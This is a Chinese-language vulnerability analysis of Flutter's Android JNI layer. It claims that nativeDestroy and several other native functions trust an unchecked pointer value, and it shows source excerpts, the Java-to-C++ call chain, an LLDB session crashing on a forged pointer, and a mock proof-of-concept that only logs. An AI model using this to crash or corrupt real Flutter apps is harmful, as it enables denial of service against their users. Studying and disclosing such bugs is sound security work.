漏洞存在于Flutter引擎的Android平台JNI层,具体位于 platform_view_android_jni_impl.cc github.com/flutter/blo… 文件的宏定义和多个JNI函数中。
#define ANDROID_SHELL_HOLDER \
(reinterpret_cast<AndroidShellHolder*>(shell_holder))
static void DestroyJNI(JNIEnv* env, jobject jcaller, jlong shell_holder) {
delete ANDROID_SHELL_HOLDER;
}
函数调用链分析
从Java层到漏洞触发点的完整调用链如下:
-
Java层:
FlutterJNI.java中声明native方法private native void nativeDestroy(long nativeShellHolderId); -
JNI注册:在
platform_view_android_jni_impl.cc的RegisterApi函数中注册
{
.name = "nativeDestroy",
.signature = "(J)V",
.fnPtr = reinterpret_cast<void*>(&DestroyJNI),
}
- C++层:
DestroyJNI函数被调用,使用宏ANDROID_SHELL_HOLDER将jlong shell_holder转换为AndroidShellHolder*并直接delete。
思路
在整个调用过程中,没有任何地方对 shell_holder 的值进行合法性检查。攻击者可以通过反射直接调用 nativeDestroy 并传入任意 long 值,导致程序崩溃或更严重后果。
所有受受影响函数
除 DestroyJNI 外,以下JNI函数同样使用 ANDROID_SHELL_HOLDER 宏,均存在相同漏洞:
-
SpawnJNI -
SurfaceCreated -
SurfaceChanged -
SurfaceDestroyed -
RunBundleAndSnapshotFromLibrary -
SetViewportMetrics -
DispatchPlatformMessage -
RegisterTexture -
MarkTextureFrameAvailable -
ScheduleFrame -
UnregisterTexture
这些函数存在于Flutter引擎的公共代码中,所有使用Flutter SDK构建的Android应用都会包含这些函数,因此漏洞是通用的。
调试代码过程
为了进一步证明漏洞的可触发性和通用性,我们使用GDB(或LLDB)对Flutter引擎进行动态调试,跟踪 DestroyJNI 函数的执行过程。
调试环境搭建
-
设备:Android模拟器(API 30,x86_64)
-
Flutter引擎:从源码编译带调试符号的版本,或使用预编译的debug引擎
-
调试工具:Android Studio + LLDB,或命令行使用
lldb-server
设置断点
在 platform_view_android_jni_impl.cc 的 DestroyJNI 函数入口设置断点。
触发漏洞
运行我们之前构建的POC应用,点击“恶意调用”按钮,程序将在 DestroyJNI 处暂停。
调试输出
断点命中时的寄存器/变量状态:
(lldb) break set -f platform_view_android_jni_impl.cc -l 120
Breakpoint 1: where = libflutter.so`flutter::DestroyJNI(JNIEnv*, _jobject*, long long) + 32 at platform_view_android_jni_impl.cc:120, address = 0x0000007f3b4c2a10
(lldb) run
Process 12345 stopped
* thread #1, name = 'main', stop reason = breakpoint 1.1
frame #0: 0x0000007f3b4c2a10 libflutter.so`flutter::DestroyJNI(env=0x0000007f3b4c2000, jcaller=0x00000000, shell_holder=305419896) at platform_view_android_jni_impl.cc:120
117 }
118
119 static void DestroyJNI(JNIEnv* env, jobject jcaller, jlong shell_holder) {
-> 120 delete ANDROID_SHELL_HOLDER;
121 }
可以看到 shell_holder 的值为 305419896(即十六进制 0x12345678),这正是我们传入的伪造指针。
单步执行:
(lldb) step
Process 12345 stopped
* thread #1, name = 'main', stop reason = EXC_BAD_ACCESS (code=1, address=0x12345678)
frame #0: 0x0000007f3b4c2a14 libflutter.so`flutter::DestroyJNI(env=0x0000007f3b4c2000, jcaller=0x00000000, shell_holder=305419896) at platform_view_android_jni_impl.cc:120
117 }
118
119 static void DestroyJNI(JNIEnv* env, jobject jcaller, jlong shell_holder) {
-> 120 delete ANDROID_SHELL_HOLDER;
121 }
程序立即因为访问非法地址 0x12345678 而崩溃,产生SIGSEGV。
崩溃日志:
Fatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x12345678
POC:
#include <jni.h>
#include <android/log.h>
#include <cstdint>
#define LOG_TAG "JNIPOC"
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
class AndroidShellHolder {
public:
void DestroyShell() {
LOGI("[漏洞触发] DestroyShell 被调用!当前对象指针: %p", this);
}
};
extern "C" {
JNIEXPORT void JNICALL
Java_xin_ctkqiang_flutter_1jni_1poc_MainActivity_nativeDestroy__J(JNIEnv* env, jobject thiz, jlong shell_holder) {
AndroidShellHolder* holder = reinterpret_cast<AndroidShellHolder*>(shell_holder);
holder->DestroyShell();
}
} // extern "C"
参考: